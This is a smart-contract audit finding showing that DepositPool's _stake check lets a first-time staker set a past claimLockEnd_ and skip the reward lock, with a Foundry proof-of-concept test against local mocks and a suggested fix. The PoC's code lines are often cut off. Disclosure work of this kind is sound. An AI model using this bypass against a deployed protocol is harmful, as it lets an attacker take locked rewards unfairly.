Claim Lock Period Can Be Bypassed Using Past Timestamps

Claim Lock Period Can Be Bypassed Using Past Timestamps

MEDIUM SEVERITY

Finding Description and Impact

The _stake function that allows attackers to bypass claim lock periods by setting past timestamps for claimLockEnd_

```
require(claimLockEnd_ >= userData.claimLockEnd, "DS: invalid claim lock end");
```

An attacker can provide a timestamp in the past to bypass the intended time-lock for reward claiming. This allows immediate access to rewards that should be locked.

For a user's first stake, userData.claimLockEnd is 0. An attacker can therefore pass a small, non-zero value for claimLockEnd_, which satisfies the check 1 >= 0 and sets their lock to a time in the distant past.

Impact

- The primary impact is the complete bypass of the reward lock-up period.
- An attacker can gain immediate access to rewards, while legitimate users must wait for their lock-up period to expire.

Proof of Concept

A foundry test contract which is run with the command:

```
forge test --mc ClaimLockBypassTest -vvvv --via-ir
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../contracts/capital-protocol/DepositPool.sol";
import "../contracts/capital-protocol/Distributor.sol";
import "../contracts/capital-protocol/RewardPool.sol";
import "../contracts/capital-protocol/ChainLinkDataConsumer.sol";
import "../contracts/capital-protocol/L1SenderV2.sol";
import "../contracts/mock/tokens/StETHMock.sol";
import "../contracts/mock/tokens/ERC20Token.sol";
import "../contracts/interfaces/capital-protocol/IRewardPool.sol";
import "../contracts/libs/ReferrerLib.sol";
import "../contracts/libs/LockMultiplierMath.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract ClaimLockBypassTest is Test {
    DepositPool public depositPool;
    Distributor public distributor;
    RewardPool public rewardPool;
    ChainLinkDataConsumer public chainLinkDataConsumer;
    L1SenderV2 public l1Sender;
    StETHMock public depositToken;
    ERC20Token public rewardToken;

    address public attacker;
    uint256 public constant rewardPoolId = 0;
    address public constant ZERO_ADDR = address(0);

    function setUp() public {
        attacker = makeAddr("attacker");

        // Deploy tokens
        depositToken = new StETHMock();
        rewardToken = new ERC20Token();

        // Deploy ChainLinkDataConsumer
        ChainLinkDataConsumer chainLinkImpl = new ChainLinkDataConsumer();
        ERC1967Proxy chainLinkProxy = new ERC1967Proxy(address(chainLinkImpl),
        chainLinkDataConsumer = ChainLinkDataConsumer(address(chainLinkProxy));
        chainLinkDataConsumer.ChainLinkDataConsumer_init();
```

```
// Deploy RewardPool with PRIVATE reward pool (required for NO_YIELD st
IRewardPool.RewardPool[] memory pools = new IRewardPool.RewardPool[](1)
pools[0] = IRewardPool.RewardPool({
    payoutStart: uint128(block.timestamp),
    decreaseInterval: 86400,
    initialReward: 1000 ether,
    rewardDecrease: 1 ether,
    isPublic: false // PRIVATE pool required for NO_YIELD strategy
});

RewardPool rewardPoolImpl = new RewardPool();
ERC1967Proxy rewardPoolProxy = new ERC1967Proxy(address(rewardPoolImpl)
rewardPool = RewardPool(address(rewardPoolProxy));
rewardPool.RewardPool_init(pools);

// Deploy L1SenderV2
L1SenderV2 l1SenderImpl = new L1SenderV2();
ERC1967Proxy l1SenderProxy = new ERC1967Proxy(address(l1SenderImpl), ""
l1Sender = L1SenderV2(address(l1SenderProxy));
l1Sender.L1SenderV2__init();

// Deploy mock Aave contracts (required by Distributor)
address mockAavePool = address(new StETHMock());
address mockAaveDataProvider = address(new StETHMock());

// Deploy Distributor
Distributor distributorImpl = new Distributor();
ERC1967Proxy distributorProxy = new ERC1967Proxy(address(distributorImp
distributor = Distributor(address(distributorProxy));
distributor.Distributor_init(
    address(chainLinkDataConsumer), mockAavePool, mockAaveDataProvider,
);

// Deploy DepositPool using vm.getCode to handle libraries
bytes memory args = abi.encode();
bytes memory bytecode = abi.encodePacked(vm.getCode("DepositPool.sol"),
address depositPoolImpl;
bytes32 saltValue = keccak256("test");
assembly {
    depositPoolImpl := create2(0, add(bytecode, 0x20), mload(bytecode),
}
require(depositPoolImpl != address(0), "Failed to deploy DepositPool im

ERC1967Proxy depositPoolProxy = new ERC1967Proxy(depositPoolImpl, "");
depositPool = DepositPool(address(depositPoolProxy));
depositPool.DepositPool_init(address(depositToken), address(distributor

// Setup distributor with NO_YIELD strategy for private pool
distributor.addDepositPool(rewardPoolId, address(depositPool), address(
```

```
        // Set protocol details
        depositPool.setRewardPoolProtocolDetails(rewardPoolId, 1 days, 1 days,

        // Set the reward pool last calculated timestamp to current timestamp
        distributor.setRewardPoolLastCalculatedTimestamp(rewardPoolId, uint128(

        // Complete migration first - this is required before any staking opera
        depositPool.migrate(rewardPoolId);

        // Mint tokens to attacker
        depositToken.mint(attacker, 1000 ether);

        // Setup approvals
        vm.prank(attacker);
        depositToken.approve(address(depositPool), type(uint256).max);
    }

    function testClaimLockBypassVulnerability() public {
        // Fast forward time to avoid timing issues
        vm.warp(block.timestamp + 1 days);

        console.log("=== DEMONSTRATING CLAIM LOCK BYPASS VULNERABILITY ===");
        console.log("Current block.timestamp:", block.timestamp);

        // STEP 1: First, stake a small amount with a past timestamp
        // This exploits the vulnerability in the _stake function
        address[] memory users = new address[](1);
        uint256[] memory amounts = new uint256[](1);
        uint128[] memory claimLockEnds = new uint128[](1);
        address[] memory referrers = new address[](1);

        users[0] = attacker;
        amounts[0] = 1 ether; // Stake 1 ether initially
        claimLockEnds[0] = 1; // Set to past timestamp - THE VULNERABILITY
        referrers[0] = ZERO_ADDR;

        console.log("Step 1: Setting up user with past claimLockEnd = 1");

        // This should fail with proper validation, but succeeds due to the bug
        depositPool.manageUsersInPrivateRewardPool(rewardPoolId, users, amounts

        // Verify the exploit worked
        (uint256 deposited,,,,, uint128 claimLockEnd,,,) = depositPool.usersDat

        console.log("After initial setup:");
        console.log("  - Deposited amount:", deposited);
        console.log("  - Claim lock end:", claimLockEnd);
        console.log("  - Current timestamp:", block.timestamp);

        // The key vulnerability: claimLockEnd is now set to 1 (past timestamp)
        assertEq(claimLockEnd, 1, "Vulnerability: claimLockEnd set to past time
```

```
assertTrue(block.timestamp > claimLockEnd, "Claim lock is already bypas

// STEP 2: Increase stake - the user can continue using past timestamps
console.log("\nStep 2: Increasing stake with same past timestamp");

amounts[0] = 2 ether; // Increase to 2 ether
claimLockEnds[0] = 1; // Still use past timestamp

depositPool.manageUsersInPrivateRewardPool(rewardPoolId, users, amounts

(deposited,,,,, claimLockEnd,,,) = depositPool.usersData(attacker, rewa

console.log("After increasing stake:");
console.log("  - Deposited amount:", deposited);
console.log("  - Claim lock end:", claimLockEnd);

// The vulnerability persists
assertEq(claimLockEnd, 1, "Vulnerability persists: claimLockEnd still p

// STEP 3: Demonstrate that normal users would be locked
console.log("\nStep 3: Comparing with normal user (proper lock)");

address normalUser = makeAddr("normalUser");
depositToken.mint(normalUser, 1000 ether);

vm.prank(normalUser);
depositToken.approve(address(depositPool), type(uint256).max);

address[] memory normalUsers = new address[](1);
uint256[] memory normalAmounts = new uint256[](1);
uint128[] memory normalClaimLockEnds = new uint128[](1);
address[] memory normalReferrers = new address[](1);

normalUsers[0] = normalUser;
normalAmounts[0] = 1 ether;
normalClaimLockEnds[0] = uint128(block.timestamp + 1 days); // Proper f
normalReferrers[0] = ZERO_ADDR;

depositPool.manageUsersInPrivateRewardPool(
    rewardPoolId, normalUsers, normalAmounts, normalClaimLockEnds, norm
);

(,,,,, uint128 normalClaimLockEnd,,,) = depositPool.usersData(normalUse

console.log("Normal user claim lock end:", normalClaimLockEnd);
assertTrue(block.timestamp < normalClaimLockEnd, "Normal user is proper


console.log("1. Attacker can bypass claim lock restrictions");
console.log("2. Attacker claim lock end:", claimLockEnd);
console.log("3. Normal user claim lock end:", normalClaimLockEnd);
```

```
            console.log("4. This undermines the protocol's time-based security");
        }
    }
```

Recommended Mitigation Steps

> Add a validation check to the _stake function in DepositPool.sol to ensure the claimLockEnd_ parameter is always a future timestamp. Like in the lockClaim function.